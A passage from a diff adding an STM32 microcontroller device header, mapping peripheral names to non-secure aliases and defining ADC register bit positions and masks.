EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << 